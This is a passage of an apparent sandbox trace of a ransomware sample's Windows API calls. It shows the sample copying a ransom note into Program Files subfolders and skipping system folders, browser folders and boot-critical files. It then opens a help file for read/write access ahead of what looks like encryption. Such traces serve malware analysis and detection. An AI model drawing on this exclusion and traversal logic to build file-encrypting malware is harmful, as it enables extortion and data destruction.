(in: lpString1=0x1eb21a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.047] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x80c31d60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80c31d60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.047] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.047] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x80c31d60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80c31d60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.047] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.047] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.047] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c31d60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80c31d60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.047] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.047] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.047] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0078.048] lstrcmpiW (lpString1="VBA7", lpString2=".") returned 1 [0078.048] lstrcmpiW (lpString1="VBA7", lpString2="..") returned 1 [0078.048] lstrcmpiW (lpString1="VBA7", lpString2="Windows") returned -1 [0078.048] lstrcmpiW (lpString1="VBA7", lpString2="Windows.old") returned -1 [0078.048] lstrcmpiW (lpString1="VBA7", lpString2="Tor browser") returned 1 [0078.048] lstrcmpiW (lpString1="VBA7", lpString2="Internet Explorer") returned 1 [0078.048] lstrcmpiW (lpString1="VBA7", lpString2="Google") returned 1 [0078.048] lstrcmpiW (lpString1="VBA7", lpString2="Opera") returned 1 [0078.048] lstrcmpiW (lpString1="VBA7", lpString2="Opera Software") returned 1 [0078.048] lstrcmpiW (lpString1="VBA7", lpString2="Mozilla") returned 1 [0078.048] lstrcmpiW (lpString1="VBA7", lpString2="Mozilla Firefox") returned 1 [0078.048] lstrcmpiW (lpString1="VBA7", lpString2="$Recycle.Bin") returned 1 [0078.048] lstrcmpiW (lpString1="VBA7", lpString2="ProgramData") returned 1 [0078.048] lstrcmpiW (lpString1="VBA7", lpString2="All Users") returned 1 [0078.048] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0078.048] lstrcpyW (in: lpString1=0x1eb62e, lpString2="VBA7" | out: lpString1="VBA7") returned="VBA7" [0078.048] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\" [0078.048] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\" [0078.048] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\RGNR_FD7BD9FC.txt" [0078.048] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.050] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*" [0078.050] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0078.050] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.050] lstrcpyW (in: lpString1=0x1ea74c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.050] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x80c31d60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80c31d60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.050] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.050] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x80c31d60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80c31d60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.050] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.050] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.050] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0078.050] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0078.050] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0078.050] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1 [0078.050] lstrcmpiW (lpString1="1033", lpString2="Windows.old") returned -1 [0078.050] lstrcmpiW (lpString1="1033", lpString2="Tor browser") returned -1 [0078.050] lstrcmpiW (lpString1="1033", lpString2="Internet Explorer") returned -1 [0078.050] lstrcmpiW (lpString1="1033", lpString2="Google") returned -1 [0078.050] lstrcmpiW (lpString1="1033", lpString2="Opera") returned -1 [0078.050] lstrcmpiW (lpString1="1033", lpString2="Opera Software") returned -1 [0078.050] lstrcmpiW (lpString1="1033", lpString2="Mozilla") returned -1 [0078.050] lstrcmpiW (lpString1="1033", lpString2="Mozilla Firefox") returned -1 [0078.050] lstrcmpiW (lpString1="1033", lpString2="$Recycle.Bin") returned 1 [0078.050] lstrcmpiW (lpString1="1033", lpString2="ProgramData") returned -1 [0078.051] lstrcmpiW (lpString1="1033", lpString2="All Users") returned -1 [0078.051] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0078.051] lstrcpyW (in: lpString1=0x1eab60, lpString2="1033" | out: lpString1="1033") returned="1033" [0078.051] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" [0078.051] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" [0078.051] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\RGNR_FD7BD9FC.txt" [0078.051] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.057] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*" [0078.057] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x44 [0078.057] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.057] lstrcpyW (in: lpString1=0x1e9c7e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.057] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x80c57ec0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80c57ec0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0078.058] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.058] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x80c57ec0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80c57ec0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.058] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.058] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.058] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0078.058] lstrcmpiW (lpString1="FM20.CHM", lpString2=".") returned 1 [0078.058] lstrcmpiW (lpString1="FM20.CHM", lpString2="..") returned 1 [0078.058] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c57ec0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80c57ec0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.058] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.058] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.058] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0078.058] lstrcmpiW (lpString1="VBCN6.CHM", lpString2=".") returned 1 [0078.058] lstrcmpiW (lpString1="VBCN6.CHM", lpString2="..") returned 1 [0078.058] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0078.058] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2=".") returned 1 [0078.058] lstrcmpiW (lpString1="VBE7INTL.DLL", lpString2="..") returned 1 [0078.058] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0078.058] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2=".") returned 1 [0078.058] lstrcmpiW (lpString1="VBENDF98.CHM", lpString2="..") returned 1 [0078.058] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0078.058] lstrcmpiW (lpString1="VBHW6.CHM", lpString2=".") returned 1 [0078.058] lstrcmpiW (lpString1="VBHW6.CHM", lpString2="..") returned 1 [0078.058] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0078.058] lstrcmpiW (lpString1="VBLR6.CHM", lpString2=".") returned 1 [0078.058] lstrcmpiW (lpString1="VBLR6.CHM", lpString2="..") returned 1 [0078.058] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0078.058] lstrcmpiW (lpString1="VBOB6.CHM", lpString2=".") returned 1 [0078.058] lstrcmpiW (lpString1="VBOB6.CHM", lpString2="..") returned 1 [0078.058] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0078.058] lstrcmpiW (lpString1="VBUI6.CHM", lpString2=".") returned 1 [0078.058] lstrcmpiW (lpString1="VBUI6.CHM", lpString2="..") returned 1 [0078.058] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0078.059] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0078.059] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x80c57ec0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80c57ec0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0078.059] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x80c57ec0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80c57ec0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.059] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0078.059] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x44 [0078.059] lstrcpyW (in: lpString1=0x1ea092, lpString2="FM20.CHM" | out: lpString1="FM20.CHM") returned="FM20.CHM" [0078.059] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned=".CHM" [0078.059] lstrcmpiW (lpString1="FM20.CHM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.059] lstrcmpiW (lpString1="FM20.CHM", lpString2="autorun.inf") returned 1 [0078.059] lstrcmpiW (lpString1="FM20.CHM", lpString2="boot.ini") returned 1 [0078.059] lstrcmpiW (lpString1="FM20.CHM", lpString2="bootfont.bin") returned 1 [0078.059] lstrcmpiW (lpString1="FM20.CHM", lpString2="bootsect.bak") returned 1 [0078.059] lstrcmpiW (lpString1="FM20.CHM", lpString2="bootmgr") returned 1 [0078.059] lstrcmpiW (lpString1="FM20.CHM", lpString2="bootmgr.efi") returned 1 [0078.059] lstrcmpiW (lpString1="FM20.CHM", lpString2="bootmgfw.efi") returned 1 [0078.059] lstrcmpiW (lpString1="FM20.CHM", lpString2="desktop.ini") returned 1 [0078.059] lstrcmpiW (lpString1="FM20.CHM", lpString2="iconcache.db") returned -1 [0078.059] lstrcmpiW (lpString1="FM20.CHM", lpString2="ntldr") returned -1 [0078.059] lstrcmpiW (lpString1="FM20.CHM", lpString2="ntuser.dat") returned -1 [0078.059] lstrcmpiW (lpString1="FM20.CHM", lpString2="ntuser.dat.log") returned -1 [0078.059] lstrcmpiW (lpString1="FM20.CHM", lpString2="ntuser.ini") returned -1 [0078.059] lstrcmpiW (lpString1="FM20.CHM", lpString2="thumbs.db") returned -1 [0078.059] lstrcmpiW (lpString1=".CHM", lpString2=".db") returned -1 [0078.059] lstrcmpiW (lpString1=".CHM", lpString2=".sys") returned -1 [0078.059] lstrcmpiW (lpString1=".CHM", lpString2=".dll") returned -1 [0078.059] lstrcmpiW (lpString1=".CHM", lpString2=".lnk") returned -1 [0078.059] lstrcmpiW (lpString1=".CHM", lpString2=".msi") returned -1 [0078.059] lstrcmpiW (lpString1=".CHM", lpString2=".drv") returned -1 [0078.059] lstrcmpiW (lpString1=".CHM", lpString2=".exe") returned -1 [0078.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 0x20 [0078.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0078.060] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=334427) returned 1 [0078.060] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x51a52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.060] GetProcessHeap () returned 0x580000 [0078.060] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.060] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0078.061] VirtualAlloc (lpAddress=0x0, dwSize=0x51a5b, flAllocationType=0x3000, flProtect=0x4) returned 0x480000 [0078.061] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.062] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0078.062] ReadFile (in: hFile=0x108, 